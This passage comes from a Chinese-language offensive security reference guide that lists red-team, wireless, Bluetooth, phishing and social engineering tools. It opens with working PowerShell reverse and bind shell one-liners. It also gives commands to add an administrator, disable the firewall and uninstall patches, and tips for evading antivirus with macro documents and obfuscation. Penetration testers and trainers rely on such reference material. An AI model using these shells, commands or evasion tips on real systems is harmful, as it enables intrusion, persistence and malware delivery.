- >powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.11.0.4',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
- Powershell Bind shell
- >powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"
4.6 工具收集
4.6.1 Impacket
Impacket 是用于处理网络协议的 Python 类集合,Impacket 专注于提供对数据包较底层的编程访问,并为某些协议 (例如 SMB1-3 和 MSRPC) 提供协议实现本身。数据包可以从头开始构建,也可以从原始数据中进行解析,面向对象的 API 使得处理深度协议层次结构变得简单,该库提供了一组工具作为可以在该库的上下文中完成的操作的示例。
4.6.2 Powershell 工具
4.7 自动化
4.8 网络工具
- 0trace - 可以在现有的开放 TCP 连接中运行的 traceroute 工具,因此可以轻松绕过某些类型的有状态数据包过滤器;
- fping - fping 是一个类似 ping 的程序,它使用 Internet 控制消息协议 (ICMP) 回显请求来确定目标主机是否正在响应;
- hping3 - 是一种网络工具,能够发送自定义 ICMP/UDP/TCP 数据包并显示目标回复,就像 ping 对 ICMP 回复所做的那样;
- Netwox Toolkit - Toolbox netox 帮助查找和解决网络问题;
4.9 压力测试 (DDOS)
4.10 Misc 工具
- Karkinos - Karkinos 是用于渗透测试和/或黑客 CTF 的轻量级 "瑞士军刀"。目前,Karkinos 提供以下服务:编码、解码字符,加密解密文本文件,反向 shell,破解和产生哈希;
- pyWhat - 用于识别的命令行......以及任何东西;
- Arsenal - Arsenal 只是黑客程序的快速库存和启动器,非常适合填补空白。
- WADComs - WADComs 是一个交互式备忘单,包含一个精心策划的攻击性安全工具列表及其各自的命令,可用于 Windows/AD 环境;
- Scapy - Scapy 是一个强大的基于 Python 的交互式数据包操作程序和库;
- Fragrouter - Fragrouter 是一个网络入侵检测规避工具包;
- python-faraday - Faraday 推出新概念 (IPE) 集成渗透测试环境 多用户渗透测试 IDE;
- routersploit - 该软件包包含一个专用于嵌入式设备的开源开发框架,由有助于渗透测试操作的各种模块组成;
- erfs - 易于使用、易于设置、无忧的安全文件系统,加密数据存储在远程云服务器上,无需信任服务器;(1)
- LDAPmonitor - 在渗透测试或系统管理期间实时监控 LDAP 对象的创建、删除和更改!
4.11 实用命令
此处列出的命令选项太多,但是,在查找你要完成的任务的命令语法时,有一个方便的资源,Commandlinefu 是一个惊人的命令字符串存储库,可以完成不同的任务,只需搜索任务并查看对其他人有用的命令。
4.11.1 Linux
- 打开没有权限的文件
- 在文件夹中,查看所有者、权限和 UUID # ls -la
- 添加新用户 # sudo add user pwn
- 将新用户的 UUID 更改为创建文件的用户的 UUID # sudo sed -i -e 's/[pwnUUID]/[targetUUID]/g' /etc/passwd
- 检查新的 UUID # cat /etc/passwd | grep pwn
- RTFM: Linux Utility Commands - pg. 6
- PTFM: Linux Utility Commands - pg. 78
- Operator Handbook: Linux_Commands - pg. 118
- Operator Handbook: Linux_tricks - pg. 147
4.11.2 Windows
- 把用户添加到管理组;
- > net user <name> <pass> /add
- > net localgroup “Administrators" <user> add
- 禁用防火墙;
- > netsh advfirewall set currentprofile state off
- > netsh advfirewall set allprofiles state off
- 卸载补丁以利用漏洞;
- > dir /a /b c:\windows\kb*
- > Wusa.exe /uninstall /kb:<###>
- RTFM: Windows Utility Commands - pg. 17
- RTFM: Powershell Commands - pg. 22
- PTFM: Windows Utility Commands - pg. 1
- Operator Handbook: Windows_Commands - pg. 328
- Operator Handbook: Windows Tricks - pg.415
4.11.3 MacOS
- Operator Handbook: MacOS Commands - pg. 154
- Operator Handbook: MacOS Tricks - pg. 189
4.11.4 WMIC
- Impacket 脚本;
- wmiquery.py - 允许在目标系统上发出 WQL 查询并获取 WMI 对象的描述 (例如,从 win32_account 中选择名称);
- wmipersist.py - 此脚本创建 / 删除 WMI 事件使用者 / 过滤器和两者之间的链接,以根据 WQL 过滤器或计时器规范执行 Visual Basic;
- RTFM: WMIC Commands - pg. 20;
五、物理安全测试
5.1 指南 / 参考
- The Hacker Playbook 3: Physical Security - pg. 191
视频:https://www.youtube.com/watch?v=d0XYJ3adEyA
5.2 投递箱和工具
5.3 keys
5.4 Lockpicking
5.4.1 工具
5.4.2 视频
六、无线攻击
6.1 wifi 攻击
- aircrack-ng - 用于评估 WiFi 网络安全性的一整套工具 (1);
- airgraph-ng 是一个可以从 airodump 使用 -w 选项创建的 txt 文件中创建图形,该图显示了客户端和接入点之间的关系;
- airgeddon - 一个菜单驱动的第三方工具包装器,用于审核具有许多功能的无线网络;
- bully - Bully 是 WPS 暴力攻击的新实现,用 C 语言编写,它在概念上与其他程序相同,因为它利用了 WPS 规范中的 (现在众所周知的) 设计缺陷;
- cowpatty - 如果你正在审核 WPA-PSK 或 WPA2-PSK 网络,可以使用此工具来识别用于生成 PMK 的弱密码短语;
- eaphammer - 此软件包包含一个工具包,用于针对 WPA2-Enterprise 网络执行有针对性的邪恶孪生攻击;
- kismet - Kismet 是一个无线网络和设备检测器、嗅探器、wardriving 工具和 WIDS (无线入侵检测) 框架;
- mdk4 - 来自 E7mer、k2wrlz 的 ASPj 的 Wi-Fi 测试工具,它使用 aircrack-ng 项目中的 osdep 库在多个操作系统上注入帧;
- c41n - 自动恶意接入点设置工具 (1);
6.2 蓝牙
- bluelog - Bluelog 是一款蓝牙扫描仪,旨在尽快告诉你一个区域内有多少可发现的设备,用作现场调查工具,确定周围环境中可能存在的蓝牙目标的数量;
- blueranger - 使用蓝牙接口扫描指定的远程地址;
- bluesnarfer - 蓝牙蓝调实用程序;
- bluez - 该软件包包含用于使用蓝牙设备的工具和系统守护程序,BlueZ 是官方的 Linux 蓝牙协议栈;
- btscanner - btscanner 是一种专门设计用于从蓝牙设备中提取尽可能多的信息而无需配对的工具;
- crackle - Crackle 利用 BLE 配对过程中的一个缺陷,允许攻击者猜测或非常快速地暴力破解 TK (临时密钥)。通过配对过程中收集的 TK 和其他数据,可以收集 STK (短期密钥) 和后来的 LTK (长期密钥);
- redfang - 一个小型的 PoC 应用程序,用于查找不可发现的蓝牙设备。这是通过暴力破解设备蓝牙地址的最后六个字节并执行 read_remote_name() 来完成的;
- spooftooph - Spooftooph 旨在自动欺骗或克隆蓝牙设备名称、类别和地址;
七、社会工程学
7.1 攻击方式
- 钓鱼 - 发送看似来自信誉良好的来源的电子邮件的做法,目的是影响或获取个人信息。(Hadnagy,Fincher。网络钓鱼黑暗水域:恶意电子邮件的进攻性和防御性方面。威利,2015 年);
- SMiShing - 使用手机短信、SMS (短消息服务) 引诱受害者立即采取行动的行为。此操作可能包括下载移动恶意软件、访问恶意网站或拨打欺诈电话号码;
- Vishing - 通过电话获取信息或试图影响行为的做法;
- 冒充 - 以获取信息或访问个人、公司或计算机系统为目标而伪装成另一个人的做法;
- https://www.social-engineer.org/framework/attack-vectors/
7.2 攻击阶段
- OSINT - 使用开源智能工具对目标进行的研究,这个阶段无论如何都不会与目标交互;
- Pretext Development - 这是攻击者开发初始交互原因的地方;
- Attack Plan (攻击计划) - 计划攻击的对象、内容、时间、地点、原因和方式;
- 开始攻击;
- 报告 - 攻击的完整细节,这对于客户了解所做的一切以及他们需要什么来改善他们的防御至关重要;
7.3 指南和参考
注:以上不是超链接的为引用为书籍,外文书籍下载:https://b-ok.asia/
7.4 工具
7.5 钓鱼
7.5.1 工具
- Muraena - Muraena 是一个几乎透明的反向代理,旨在实现网络钓鱼和网络钓鱼后活动的自动化;
- NecroBrowser - Necrobrowser 是一个用 NodeJS 编写的浏览器检测微服务:它使用 Puppeteer 库以无头和 GUI 模式控制 Chrome 或 Firefox 的实例;
- catphish - 为网络钓鱼攻击生成相似的域,检查过期域及其分类域状态以逃避代理分类,白名单域非常适合 C2 服务器,非常适合红队参与;
- king-phisher - 高级网络钓鱼活动工具包;
- evilginx2 - 用于网络钓鱼登录凭据和会话 cookie 的独立中间人攻击框架,允许绕过 2 因素身份验证;
- ReelPhish - FireEye 网络钓鱼和 2fa 绕过工具;
- FiercePhish - FiercePhish 是一个成熟的网络钓鱼框架,用于管理所有网络钓鱼活动。允许跟踪单独的网络钓鱼活动、安排电子邮件发送等等;
- CredSniper - CredSniper 是一个使用 Python 微框架 Flask 和 Jinja2 模板编写的网络钓鱼框架,支持捕获 2FA 令牌;
- TigerShark - 双语网络钓鱼工具包,TigerShark 集成了大量各种网络钓鱼工具和框架,包括 C2 服务器、后门和多种脚本语言的投递方法,以满足你的部署需求;
- Zphisher - 具有 30 多个模板的自动网络钓鱼工具;
- SharpPhish - 使用 Outlook COM 对象在用户不注意的情况下创建令人信服的网络钓鱼电子邮件,该项目用于内部网络钓鱼;
- SocialFish - 教育钓鱼工具和信息收集器;
- shellphish - Instagram、Facebook、Twitter、Snapchat、Github 的网络钓鱼工具;
- saycheese - 从目标拍摄网络摄像头,仅发送恶意链接;
7.5.2 指南
7.6 伪造虚假人物身份
7.7 用户跟踪
7.8 恶意文档
7.8.1 资源
注:以上不是超链接的为引用为书籍,外文书籍下载:https://b-ok.asia/
7.8.2 小技巧
通用
- 请记住将 .docm 扩展名更改为 .doc;
- 为最终用户提供启用宏的令人信服的理由;
- 为客户量身定制攻击,通过大量电子邮件收集信息并获得 OOTO 响应以获取内部电子邮件样式的模板;
Microsoft Office 文档中的嵌入式宏
- 针对 VirusTotal 运行测试文件以检查是否易于检测;
- 查看 "标签" 部分,了解引发签名匹配的违规标签;
- 通常 AV 只会扫描代码的主体而不是声明部分 (使用函数导入的别名来解决这个问题);
- 避免明显使用 shellcode;
- 最有可能被标记的函数:VirtualAlloc、RtlMoveMemory、Shell、URLDownloadToFile 和 CreateThread;
- 在宏中自动执行;
- 使用 VBA/VBS Dual Stager;
代码混淆
- 使用 Base64 和 XOR 等可能性对脚本进行编码,并在运行时对其进行解密;
7.8.3 工具
八、记笔记与报告写作
记录在漏洞利用复现、存储重要发现、保留屏幕截图、为达到结果而运行的常用命令等方面变得非常重要。如果没有足够的记录,你只会让自己失败。
8.1 工具
笔记应用
屏幕截图程序
8.2 模板和例子
九、培训和资源
有关攻击性安全课程、书籍、CTF 等资源。
9.1 初学者培训
9.1.1 网络
9.1.2 密码学
9.2 角色和职业资源
9.3 认证
这在职业资源和培训材料之间完美契合,因为网络认证涵盖了两者。根据经验,首先要获得使你有资格从事所需工作的认证。然后根据你希望发展的技能组合寻求其他认证或培训,将基于认证的培训与以下资源相结合,以实现最佳增长。
内容正在路上 ......
9.4 一般网络培训 / 参考
9.4.1 资源收集
内容正在路上 ......
|
|